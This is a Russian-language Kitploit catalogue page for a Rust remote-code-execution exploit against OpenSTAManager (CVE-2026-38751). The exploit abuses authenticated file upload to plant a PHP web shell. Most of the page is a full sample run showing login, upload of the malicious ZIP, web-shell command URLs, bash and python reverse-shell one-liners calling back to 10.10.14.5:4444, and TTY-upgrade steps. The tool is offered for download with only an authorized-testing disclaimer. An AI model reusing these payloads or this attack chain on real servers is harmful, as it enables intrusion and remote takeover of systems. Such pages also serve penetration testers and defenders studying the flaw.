Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
OpenSTAManager-RCE-Exploit-CVE-2026-38751 — OpenSTAManager-RCE-Exploit-CVE-2026-38751 | Kitploit
Инструменты/GitHubGitHub/b0ysie7e/openstamanager-rce-exploit-cve-2026-38751
Анализ уязвимостейЭксплуатацияШелл-кодЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеRed TeamingРазработка Полезной Нагрузки
GitHub
b0ysie7e/openstamanager-rce-exploit-cve-2026-38751

OpenSTAManager-RCE-Exploit-CVE-2026-38751

OpenSTAManager-RCE-Exploit-CVE-2026-38751

Репозиторий
82 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Эксплойт RCE для OpenSTAManager (CVE-2026-38751)

Произвольная загрузка файла, приводящая к удалённому выполнению кода
Полнофункциональный proof-of-concept для CVE-2026-38751, написанный на Rust.

Предупреждение: Этот инструмент предназначен только для авторизованного тестирования безопасности и образовательных целей. Используйте его только на системах, которыми вы владеете или на которые у вас есть явное разрешение для тестирования.


Описание

OpenSTAManager ≤ 2.10 уязвим к аутентифицированной произвольной загрузке файлов, что позволяет злоумышленнику загрузить вредоносный ZIP-архив, содержащий PHP веб-шелл. Данный PoC автоматизирует процесс:

  • Вход с действительными учетными данными
  • Загрузка вредоносного модуля с веб-шеллом
  • Проверка уязвимости
  • Интерактивный веб-шелл (выполнение команд)
  • Реверс-шелл с обработкой TTY (несколько полезных нагрузок)
  • Очистка загруженного бэкдора

Возможности

ВозможностьОписание
ВходАутентификация с использованием предоставленных учётных данных.
Генерация ZIPСоздаёт ZIP-файл с допустимым дескриптором MODULE и PHP-шеллом.
Загрузка файлаОтправляет вредоносный ZIP через механизм обновления.
ПроверкаПроверяет доступность шелла и выполняет тестовую команду (id).
Интерактивный веб-шеллПозволяет интерактивно выполнять команды через веб-шелл (-i).
Реверс-шеллОтправляет несколько полезных нагрузок (bash, python, base64, nc, mkfifo) для получения шелла.
Инструкции по апгрейду TTYПоказывает пошаговое руководство для получения полностью интерактивного TTY.
ОчисткаАвтоматически удаляет загруженный shell.php (если не указано --no-cleanup).

🛠️ Требования

  • Rust (1.70+)
  • Цель, на которой запущен OpenSTAManager ≤ 2.10.
  • Действительная учётная запись (с паролем) для входа.

Установка

Клонируйте репозиторий и соберите бинарник:

root@kitploit:~
git clone https://github.com/yourusername/OpenSTAManager-RCE-Exploit-CVE-2026-38751
cd OpenSTAManager-RCE-Exploit-CVE-2026-38751
cargo build --release
./target/release/openstamanager-rce-exploit --help

Пример:

root@kitploit:~
$ ./openstamanager-rce-exploit --url http://target.com/ -U <user> -P <password> --lhost 10.10.14.5 --lport 4444

[ OpenSTAManager RCE Exploit : ]

Target: http://target.com/
[*] Step 1: Login...
[+] Login successful: admin
[*] Step 2: Enable updates...
[+] Updates enabled
[*] Step 3: Create ZIP...
[*] Created in-memory ZIP file
[*] Shell location: /modules/shell/shell.php
[*] Step 4: Upload...
[*] Upload status: 500 Internal Server Error
[+] Upload successful
[*] Step 5: Verify...
[+] Vulnerability confirmed!
[+] Shell: http://target.com/modules/shell/shell.php
[+] Test: http://target.com/modules/shell/shell.php?c=whoami
[*] Listening on 10.10.14.5:4444...
[*] Trying payload: bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'
[-] Payload failed: operation timed out
[*] Trying payload: python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
[-] Payload failed: operation timed out
[*] Trying payload: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
[+] Payload sent successfully. Waiting for connection...
[+] Connection received from 10.129.19.238:55758
[*] Sent 'script /dev/null -c bash'

[*]
[*] Reverse shell established.
[*] To get a fully interactive TTY:
[*] 1. Press Ctrl+Z to suspend the shell.
[*] 2. Run: stty raw -echo; fg
[*] 3. When prompted for terminal type, type: xterm
[*] 4. Export: export TERM=xterm SHELL=bash
[*] 5. Adjust rows/columns with: stty rows <rows> columns <cols>
[*]    (Get the size with: stty size)
[*]
[*] Press Ctrl+C to exit and cleanup the webshell.

bash: cannot set terminal process group (1481): Inappropriate ioctl for device
bash: no job control in this shell
www-data@target:~/html/openstamanager/modules/shell$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@target:~/html/openstamanager/modules/shell$ whoami
whoami
www-data
www-data@target:~/html/openstamanager/modules/shell$
Скачать инструмент